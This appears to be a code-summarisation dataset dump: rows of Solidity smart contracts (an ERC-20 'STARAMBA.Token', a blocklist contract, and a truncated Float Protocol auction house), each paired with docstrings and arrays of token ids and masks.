* Credit: Taking ideas from FirstBlood token
*/
library SafeMath {
/**
* @dev Safely add two numbers.
*
* @param x First operant.
* @param y Second operant.
* @return The result of x+y.
*/
function add(uint256 x, uint256 y)
internal pure
returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
/**
* @dev Safely substract two numbers.
*
* @param x First operant.
* @param y Second operant.
* @return The result of x-y.
*/
function sub(uint256 x, uint256 y)
internal pure
returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
/**
* @dev Safely multiply two numbers.
*
* @param x First operant.
* @param y Second operant.
* @return The result of x*y.
*/
function mul(uint256 x, uint256 y)
internal pure
returns(uint256) {
uint256 z = x * y;
assert((x == 0) || (z/x == y));
return z;
}
}
/**
* @title The abstract ERC-20 Token Standard definition.
*
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract Token {
/// @dev Returns the total token supply.
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
/// @dev MUST trigger when tokens are transferred, including zero value transfers.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
/// @dev MUST trigger on any successful call to approve(address _spender, uint256 _value).
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* @title Default implementation of the ERC-20 Token Standard.
*/
contract StandardToken is Token {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfers _value amount of tokens to address _to, and MUST fire the Transfer event.
* @dev The function SHOULD throw if the _from account balance does not have enough tokens to spend.
*
* @dev A token contract which creates new tokens SHOULD trigger a Transfer event with the _from address set to 0x0 when tokens are created.
*
* Note Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event.
*
* @param _to The receiver of the tokens.
* @param _value The amount of tokens to send.
* @return True on success, false otherwise.
*/
function transfer(address _to, uint256 _value)
public
returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
/**
* @dev Transfers _value amount of tokens from address _from to address _to, and MUST fire the Transfer event.
*
* @dev The transferFrom method is used for a withdraw workflow, allowing contracts to transfer tokens on your behalf.
* @dev This can be used for example to allow a contract to transfer tokens on your behalf and/or to charge fees in
* @dev sub-currencies. The function SHOULD throw unless the _from account has deliberately authorized the sender of
* @dev the message via some mechanism.
*
* Note Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event.
*
* @param _from The sender of the tokens.
* @param _to The receiver of the tokens.
* @param _value The amount of tokens to send.
* @return True on success, false otherwise.
*/
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
/**
* @dev Returns the account balance of another account with address _owner.
*
* @param _owner The address of the account to check.
* @return The account balance.
*/
function balanceOf(address _owner)
public view
returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Allows _spender to withdraw from your account multiple times, up to the _value amount.
* @dev If this function is called again it overwrites the current allowance with _value.
*
* @dev NOTE: To prevent attack vectors like the one described in [1] and discussed in [2], clients
* @dev SHOULD make sure to create user interfaces in such a way that they set the allowance first
* @dev to 0 before setting it to another value for the same spender. THOUGH The contract itself
* @dev shouldn't enforce it, to allow backwards compatilibilty with contracts deployed before.
* @dev [1] https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/
* @dev [2] https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
* @return True on success, false otherwise.
*/
function approve(address _spender, uint256 _value)
public
returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Returns the amount which _spender is still allowed to withdraw from _owner.
*
* @param _owner The address of the sender.
* @param _spender The address of the receiver.
* @return The allowed withdrawal amount.
*/
function allowance(address _owner, address _spender)
public view
returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract RelocationToken {
// function of possible new contract to recieve tokenbalance to relocate - to be protected by msg.sender == StarambaToken
function recieveRelocation(address _creditor, uint _balance) external returns (bool);
}
/*is StandardToken */
contract StarambaToken is StandardToken {
// Token metadata
string public constant name = "STARAMBA.Token";
string public constant symbol = "STT";
uint256 public constant decimals = 18;
string public constant version = "1";
uint256 public TOKEN_CREATION_CAP = 1000 * (10**6) * 10**decimals; // 1000 million STTs
uint256 public constant TOKEN_MIN = 1 * 10**decimals; // 1 STT
address public STTadmin1; // First administrator for multi-sig mechanism
address public STTadmin2; // Second administrator for multi-sig mechanism
// Contracts current state (transactions still paused during sale or already publicly available)
bool public transactionsActive;
// Indicate if the token is in relocation mode
bool public relocationActive;
address public newTokenContractAddress;
// How often was the supply adjusted ? (See STT Whitepaper Version 1.0 from 23. May 2018 )
uint8 supplyAdjustmentCount = 0;
// Keep track of holders and icoBuyers
mapping (address => bool) public isHolder; // track if a user is a known token holder to the smart contract - important for payouts later
address[] public holders; // array of all known holders - important for payouts later
// Store the hashes of admins' msg.data
mapping (address => bytes32) private multiSigHashes;
// Declare vendor keys
mapping (address => bool) public vendors;
// Count amount of vendors for easier verification of correct contract deployment
uint8 public vendorCount;
// Events used for logging
event LogDeliverSTT(address indexed _to, uint256 _value);
//event Log
modifier onlyVendor() {
require(vendors[msg.sender] == true);
_;
}
modifier isTransferable() {
require (transactionsActive == true);
_;
}
modifier onlyOwner() {
// check if transaction sender is admin.
require (msg.sender == STTadmin1 || msg.sender == STTadmin2);
// if yes, store his msg.data.
multiSigHashes[msg.sender] = keccak256(msg.data);
// check if his stored msg.data hash equals to the one of the other admin
if ((multiSigHashes[STTadmin1]) == (multiSigHashes[STTadmin2])) {
// if yes, both admins agreed - continue.
_;
// Reset hashes after successful execution
multiSigHashes[STTadmin1] = 0x0;
multiSigHashes[STTadmin2] = 0x0;
} else {
// if not (yet), return.
return;
}
}
/**
* @dev Create a new STTToken contract.
*
* _admin1 The first admin account that owns this contract.
* _admin2 The second admin account that owns this contract.
* _vendors List of exactly 10 addresses that are allowed to deliver tokens.
*/
constructor(address _admin1, address _admin2, address[] _vendors)
public
{
// Check if the parameters make sense
// admin1 and admin2 address must be set and must be different
require (_admin1 != 0x0);
require (_admin2 != 0x0);
require (_admin1 != _admin2);
// 10 vendor instances for delivering token purchases
require (_vendors.length == 10);
totalSupply = 0;
// define state
STTadmin1 = _admin1;
STTadmin2 = _admin2;
for (uint8 i = 0; i < _vendors.length; i++){
vendors[_vendors[i]] = true;
vendorCount++;
}
}
// Overridden method to check for end of fundraising before allowing transfer of tokens
function transfer(address _to, uint256 _value)
public
isTransferable // Only allow token transfer after the fundraising has ended
returns (bool success)
{
bool result = super.transfer(_to, _value);
if (result) {
trackHolder(_to); // track the owner for later payouts
}
return result;
}
// Overridden method to check for end of fundraising before allowing transfer of tokens
function transferFrom(address _from, address _to, uint256 _value)
public
isTransferable // Only allow token transfer after the fundraising has ended
returns (bool success)
{
bool result = super.transferFrom(_from, _to, _value);
if (result) {
trackHolder(_to); // track the owner for later payouts
}
return result;
}
// Allow for easier balance checking
function getBalanceOf(address _owner)
public
view
returns (uint256 _balance)
{
return balances[_owner];
}
// Perform an atomic swap between two token contracts
function relocate()
external
{
// Check if relocation was activated
require (relocationActive == true);
// Define new token contract is
RelocationToken newSTT = RelocationToken(newTokenContractAddress);
// Burn the old balance
uint256 balance = balances[msg.sender];
balances[msg.sender] = 0;
// Perform the relocation of balances to new contract
require(newSTT.recieveRelocation(msg.sender, balance));
}
// Allows to figure out the amount of known token holders
function getHolderCount()
public
view
returns (uint256 _holderCount)
{
return holders.length;
}
// Allows for easier retrieval of holder by array index
function getHolder(uint256 _index)
public
view
returns (address _holder)
{
return holders[_index];
}
function trackHolder(address _to)
private
returns (bool success)
{
// Check if the recipient is a known token holder
if (isHolder[_to] == false) {
// if not, add him to the holders array and mark him as a known holder
holders.push(_to);
isHolder[_to] = true;
}
return true;
}
/// @dev delivers STT tokens from Leondra (Leondrino Exchange Germany)
function deliverTokens(address _buyer, uint256 _amount)
external
onlyVendor
{
require(_amount >= TOKEN_MIN);
uint256 checkedSupply = SafeMath.add(totalSupply, _amount);
require(checkedSupply <= TOKEN_CREATION_CAP);
// Adjust the balance
uint256 oldBalance = balances[_buyer];
balances[_buyer] = SafeMath.add(oldBalance, _amount);
totalSupply = checkedSupply;
trackHolder(_buyer);
// Log the creation of these tokens
emit LogDeliverSTT(_buyer, _amount);
}
/// @dev Creates new STT tokens
function deliverTokensBatch(address[] _buyer, uint256[] _amount)
external
onlyVendor
{
require(_buyer.length == _amount.length);
for (uint8 i = 0 ; i < _buyer.length; i++) {
require(_amount[i] >= TOKEN_MIN);
require(_buyer[i] != 0x0);
uint256 checkedSupply = SafeMath.add(totalSupply, _amount[i]);
require(checkedSupply <= TOKEN_CREATION_CAP);
// Adjust the balance
uint256 oldBalance = balances[_buyer[i]];
balances[_buyer[i]] = SafeMath.add(oldBalance, _amount[i]);
totalSupply = checkedSupply;
trackHolder(_buyer[i]);
// Log the creation of these tokens
emit LogDeliverSTT(_buyer[i], _amount[i]);
}
}
// Allow / Deny transfer of tokens
function transactionSwitch(bool _transactionsActive)
external
onlyOwner
{
transactionsActive = _transactionsActive;
}
// For eventual later moving to another token contract
function relocationSwitch(bool _relocationActive, address _newTokenContractAddress)
external
onlyOwner
{
if (_relocationActive) {
require(_newTokenContractAddress != 0x0);
} else {
require(_newTokenContractAddress == 0x0);
}
relocationActive = _relocationActive;
newTokenContractAddress = _newTokenContractAddress;
}
// Adjust the cap according to the white paper terms (See STT Whitepaper Version 1.0 from 23. May 2018 )
function adjustCap()
external
onlyOwner
{
require (supplyAdjustmentCount < 4);
TOKEN_CREATION_CAP = SafeMath.add(TOKEN_CREATION_CAP, 50 * (10**6) * 10**decimals); // 50 million STTs
supplyAdjustmentCount++;
}
// Burn function - name indicating the burn of ALL owner's tokens
function burnWholeBalance()
external
{
require(balances[msg.sender] > 0);
totalSupply = SafeMath.sub(totalSupply, balances[msg.sender]);
balances[msg.sender] = 0;
}
} | function of possible new contract to recieve tokenbalance to relocate - to be protected by msg.sender == StarambaToken | contract RelocationToken {
function recieveRelocation(address _creditor, uint _balance) external returns (bool);
}
| 1,812,147 | [
1,
915,
434,
3323,
394,
6835,
358,
1950,
21271,
1147,
12296,
358,
283,
25450,
300,
358,
506,
4750,
635,
1234,
18,
15330,
422,
934,
439,
12124,
1345,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
4275,
4431,
1345,
288,
203,
565,
445,
1950,
21271,
1971,
4431,
12,
2867,
389,
20610,
1811,
16,
2254,
389,
12296,
13,
3903,
1135,
261,
6430,
1769,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* SPDX-License-Identifier: MIT
*
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
pragma solidity 0.8.11;
import "./Ownable.sol";
/**
* @title Blocklistable Token
* @dev Allows accounts to be blocklisted by a "blocklister" role
*/
contract Blocklistable is Ownable {
address public blocklister;
mapping(address => bool) internal blocklisted;
event Blocklisted(address indexed _account);
event UnBlocklisted(address indexed _account);
event BlocklisterChanged(address indexed newBlocklister);
/**
* @dev Throws if called by any account other than the blocklister
*/
modifier onlyBlocklister() {
require(
msg.sender == blocklister,
"Blocklistable: caller is not the blocklister"
);
_;
}
/**
* @dev Throws if argument account is blocklisted
* @param _account The address to check
*/
modifier notBlocklisted(address _account) {
require(
!blocklisted[_account],
"Blocklistable: account is blocklisted"
);
_;
}
/**
* @dev Checks if account is blocklisted
* @param _account The address to check
*/
function isBlocklisted(address _account) external view returns (bool) {
return blocklisted[_account];
}
/**
* @dev Adds account to blocklist
* @param _account The address to blocklist
*/
function blocklist(address _account) external onlyBlocklister {
blocklisted[_account] = true;
emit Blocklisted(_account);
}
/**
* @dev Removes account from blocklist
* @param _account The address to remove from the blocklist
*/
function unBlocklist(address _account) external onlyBlocklister {
blocklisted[_account] = false;
emit UnBlocklisted(_account);
}
function updateBlocklister(address _newBlocklister) external onlyOwner {
require(
_newBlocklister != address(0),
"Blocklistable: new blocklister is the zero address"
);
blocklister = _newBlocklister;
emit BlocklisterChanged(blocklister);
}
uint256[50] private __gap;
} | * @title Blocklistable Token @dev Allows accounts to be blocklisted by a "blocklister" role/ | contract Blocklistable is Ownable {
address public blocklister;
mapping(address => bool) internal blocklisted;
event Blocklisted(address indexed _account);
event UnBlocklisted(address indexed _account);
event BlocklisterChanged(address indexed newBlocklister);
modifier onlyBlocklister() {
require(
msg.sender == blocklister,
"Blocklistable: caller is not the blocklister"
);
_;
}
modifier notBlocklisted(address _account) {
require(
!blocklisted[_account],
"Blocklistable: account is blocklisted"
);
_;
}
function isBlocklisted(address _account) external view returns (bool) {
return blocklisted[_account];
}
function blocklist(address _account) external onlyBlocklister {
blocklisted[_account] = true;
emit Blocklisted(_account);
}
function unBlocklist(address _account) external onlyBlocklister {
blocklisted[_account] = false;
emit UnBlocklisted(_account);
}
function updateBlocklister(address _newBlocklister) external onlyOwner {
require(
_newBlocklister != address(0),
"Blocklistable: new blocklister is the zero address"
);
blocklister = _newBlocklister;
emit BlocklisterChanged(blocklister);
}
uint256[50] private __gap;
} | 15,802,743 | [
1,
1768,
1098,
429,
3155,
225,
25619,
9484,
358,
506,
1203,
18647,
635,
279,
315,
2629,
1098,
264,
6,
2478,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
3914,
1098,
429,
353,
14223,
6914,
288,
203,
565,
1758,
1071,
1203,
1098,
264,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
2713,
1203,
18647,
31,
203,
203,
565,
871,
3914,
18647,
12,
2867,
8808,
389,
4631,
1769,
203,
565,
871,
1351,
1768,
18647,
12,
2867,
8808,
389,
4631,
1769,
203,
565,
871,
3914,
1098,
264,
5033,
12,
2867,
8808,
28482,
1098,
264,
1769,
203,
203,
203,
565,
9606,
1338,
1768,
1098,
264,
1435,
288,
203,
3639,
2583,
12,
203,
5411,
1234,
18,
15330,
422,
1203,
1098,
264,
16,
203,
5411,
315,
1768,
1098,
429,
30,
4894,
353,
486,
326,
1203,
1098,
264,
6,
203,
3639,
11272,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
9606,
486,
1768,
18647,
12,
2867,
389,
4631,
13,
288,
203,
3639,
2583,
12,
203,
5411,
401,
2629,
18647,
63,
67,
4631,
6487,
203,
5411,
315,
1768,
1098,
429,
30,
2236,
353,
1203,
18647,
6,
203,
3639,
11272,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
445,
31394,
18647,
12,
2867,
389,
4631,
13,
3903,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
1203,
18647,
63,
67,
4631,
15533,
203,
565,
289,
203,
203,
565,
445,
1203,
1098,
12,
2867,
389,
4631,
13,
3903,
1338,
1768,
1098,
264,
288,
203,
3639,
1203,
18647,
63,
67,
4631,
65,
273,
638,
31,
203,
3639,
3626,
3914,
18647,
24899,
4631,
1769,
203,
565,
289,
203,
203,
565,
445,
640,
1768,
1098,
12,
2867,
389,
4631,
13,
3903,
1338,
1768,
1098,
264,
288,
203,
3639,
1203,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts/GSN/Context.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./Staged.sol";
import "./AuctionHouseMath.sol";
import "./interfaces/IAuctionHouse.sol";
import "../funds/interfaces/basket/IBasketReader.sol";
import "../oracle/interfaces/ITwap.sol";
import "../policy/interfaces/IMonetaryPolicy.sol";
import "../tokens/interfaces/ISupplyControlledERC20.sol";
import "../lib/BasisMath.sol";
import "../lib/BlockNumber.sol";
import "../lib/Recoverable.sol";
import "../external-lib/SafeDecimalMath.sol";
import "../tokens/SafeSupplyControlledERC20.sol";
/**
* @title Float Protocol Auction House
* @notice The contract used to sell or buy FLOAT
* @dev This contract does not store any assets, except for protocol fees, hence
* it implements an asset recovery functionality (Recoverable).
*/
contract AuctionHouse is
IAuctionHouse,
BlockNumber,
AuctionHouseMath,
AccessControl,
Staged,
Recoverable
{
using SafeMath for uint256;
using SafeDecimalMath for uint256;
using SafeERC20 for IERC20;
using SafeERC20 for ISupplyControlledERC20;
using SafeSupplyControlledERC20 for ISupplyControlledERC20;
using BasisMath for uint256;
/* ========== CONSTANTS ========== */
bytes32 public constant GOVERNANCE_ROLE = keccak256("GOVERNANCE_ROLE");
IERC20 internal immutable weth;
ISupplyControlledERC20 internal immutable bank;
ISupplyControlledERC20 internal immutable float;
IBasketReader internal immutable basket;
/* ========== STATE VARIABLES ========== */
// Monetary Policy Contract that decides the target price
IMonetaryPolicy internal monetaryPolicy;
// Provides the BANK-ETH Time Weighted Average Price (TWAP) [e27]
ITwap internal bankEthOracle;
// Provides the FLOAT-ETH Time Weighted Average Price (TWAP) [e27]
ITwap internal floatEthOracle;
/// @inheritdoc IAuctionHouseState
uint16 public override buffer = 10_00; // 10% default
/// @inheritdoc IAuctionHouseState
uint16 public override protocolFee = 5_00; // 5% / 500 bps
/// @inheritdoc IAuctionHouseState
uint32 public override allowanceCap = 10_00; // 10% / 1000 bps
/// @inheritdoc IAuctionHouseVariables
uint64 public override round;
/**
* @notice Allows for monetary policy updates to be enabled and disabled.
*/
bool public shouldUpdatePolicy = true;
/**
* Note that we choose to freeze all price values at the start of an auction.
* These values are stale _by design_. The burden of price checking
* is moved to the arbitrager, already vital for them to make a profit.
* We don't mind these values being out of date, as we start the auctions from a position generously in favour of the protocol (assuming our target price is correct). If these market values are stale, then profit opportunity will start earlier / later, and hence close out a mispriced auction early.
* We also start the auctions at `buffer`% of the price.
*/
/// @inheritdoc IAuctionHouseVariables
mapping(uint64 => Auction) public override auctions;
/* ========== CONSTRUCTOR ========== */
constructor(
// Dependencies
address _weth,
address _bank,
address _float,
address _basket,
address _monetaryPolicy,
address _gov,
address _bankEthOracle,
address _floatEthOracle,
// Parameters
uint16 _auctionDuration,
uint32 _auctionCooldown,
uint256 _firstAuctionBlock
) Staged(_auctionDuration, _auctionCooldown, _firstAuctionBlock) {
// Tokens
weth = IERC20(_weth);
bank = ISupplyControlledERC20(_bank);
float = ISupplyControlledERC20(_float);
// Basket
basket = IBasketReader(_basket);
// Monetary Policy
monetaryPolicy = IMonetaryPolicy(_monetaryPolicy);
floatEthOracle = ITwap(_floatEthOracle);
bankEthOracle = ITwap(_bankEthOracle);
emit ModifyParameters("monetaryPolicy", _monetaryPolicy);
emit ModifyParameters("floatEthOracle", _floatEthOracle);
emit ModifyParameters("bankEthOracle", _bankEthOracle);
emit ModifyParameters("auctionDuration", _auctionDuration);
emit ModifyParameters("auctionCooldown", _auctionCooldown);
emit ModifyParameters("lastAuctionBlock", lastAuctionBlock);
emit ModifyParameters("buffer", buffer);
emit ModifyParameters("protocolFee", protocolFee);
emit ModifyParameters("allowanceCap", allowanceCap);
// Roles
_setupRole(DEFAULT_ADMIN_ROLE, _gov);
_setupRole(GOVERNANCE_ROLE, _gov);
_setupRole(RECOVER_ROLE, _gov);
}
/* ========== MODIFIERS ========== */
modifier onlyGovernance {
require(
hasRole(GOVERNANCE_ROLE, _msgSender()),
"AuctionHouse/GovernanceRole"
);
_;
}
modifier inExpansion {
require(
latestAuction().stabilisationCase == Cases.Up ||
latestAuction().stabilisationCase == Cases.Restock,
"AuctionHouse/NotInExpansion"
);
_;
}
modifier inContraction {
require(
latestAuction().stabilisationCase == Cases.Confidence ||
latestAuction().stabilisationCase == Cases.Down,
"AuctionHouse/NotInContraction"
);
_;
}
/* ========== VIEWS ========== */
/// @inheritdoc IAuctionHouseDerivedState
function price()
public
view
override(IAuctionHouseDerivedState)
returns (uint256 wethPrice, uint256 bankPrice)
{
Auction memory _latestAuction = latestAuction();
uint256 _step = step();
wethPrice = lerp(
_latestAuction.startWethPrice,
_latestAuction.endWethPrice,
_step,
auctionDuration
);
bankPrice = lerp(
_latestAuction.startBankPrice,
_latestAuction.endBankPrice,
_step,
auctionDuration
);
return (wethPrice, bankPrice);
}
/// @inheritdoc IAuctionHouseDerivedState
function step()
public
view
override(IAuctionHouseDerivedState)
atStage(Stages.AuctionActive)
returns (uint256)
{
// .sub is unnecessary here - block number >= lastAuctionBlock.
return _blockNumber() - lastAuctionBlock;
}
function _startPrice(
bool expansion,
Cases stabilisationCase,
uint256 targetFloatInEth,
uint256 marketFloatInEth,
uint256 bankInEth,
uint256 basketFactor
) internal view returns (uint256 wethStart, uint256 bankStart) {
uint256 bufferedMarketPrice =
_bufferedMarketPrice(expansion, marketFloatInEth);
if (stabilisationCase == Cases.Up) {
uint256 bankProportion =
bufferedMarketPrice.sub(targetFloatInEth).divideDecimalRoundPrecise(
bankInEth
);
return (targetFloatInEth, bankProportion);
}
if (
stabilisationCase == Cases.Restock ||
stabilisationCase == Cases.Confidence
) {
return (bufferedMarketPrice, 0);
}
assert(stabilisationCase == Cases.Down);
assert(basketFactor < SafeDecimalMath.PRECISE_UNIT);
uint256 invertedBasketFactor =
SafeDecimalMath.PRECISE_UNIT.sub(basketFactor);
uint256 basketFactorAdjustedEth =
bufferedMarketPrice.multiplyDecimalRoundPrecise(basketFactor);
// Note that the PRECISE_UNIT factors itself out
uint256 basketFactorAdjustedBank =
bufferedMarketPrice.mul(invertedBasketFactor).div(bankInEth);
return (basketFactorAdjustedEth, basketFactorAdjustedBank);
}
function _endPrice(
Cases stabilisationCase,
uint256 targetFloatInEth,
uint256 bankInEth,
uint256 basketFactor
) internal pure returns (uint256 wethEnd, uint256 bankEnd) {
if (stabilisationCase == Cases.Down) {
assert(basketFactor < SafeDecimalMath.PRECISE_UNIT);
uint256 invertedBasketFactor =
SafeDecimalMath.PRECISE_UNIT.sub(basketFactor);
uint256 basketFactorAdjustedEth =
targetFloatInEth.multiplyDecimalRoundPrecise(basketFactor);
// Note that the PRECISE_UNIT factors itself out.
uint256 basketFactorAdjustedBank =
targetFloatInEth.mul(invertedBasketFactor).div(bankInEth);
return (basketFactorAdjustedEth, basketFactorAdjustedBank);
}
return (targetFloatInEth, 0);
}
/// @inheritdoc IAuctionHouseDerivedState
function latestAuction()
public
view
override(IAuctionHouseDerivedState)
returns (Auction memory)
{
return auctions[round];
}
/// @dev Returns a buffered [e27] market price, note that buffer is still [e18], so can use divideDecimal.
function _bufferedMarketPrice(bool expansion, uint256 marketPrice)
internal
view
returns (uint256)
{
uint256 factor =
expansion
? BasisMath.FULL_PERCENT.add(buffer)
: BasisMath.FULL_PERCENT.sub(buffer);
return marketPrice.percentageOf(factor);
}
/// @dev Calculates the current case based on if we're expanding and basket factor.
function _currentCase(bool expansion, uint256 basketFactor)
internal
pure
returns (Cases)
{
bool underlyingDemand = basketFactor >= SafeDecimalMath.PRECISE_UNIT;
if (expansion) {
return underlyingDemand ? Cases.Up : Cases.Restock;
}
return underlyingDemand ? Cases.Confidence : Cases.Down;
}
/* |||||||||| AuctionPending |||||||||| */
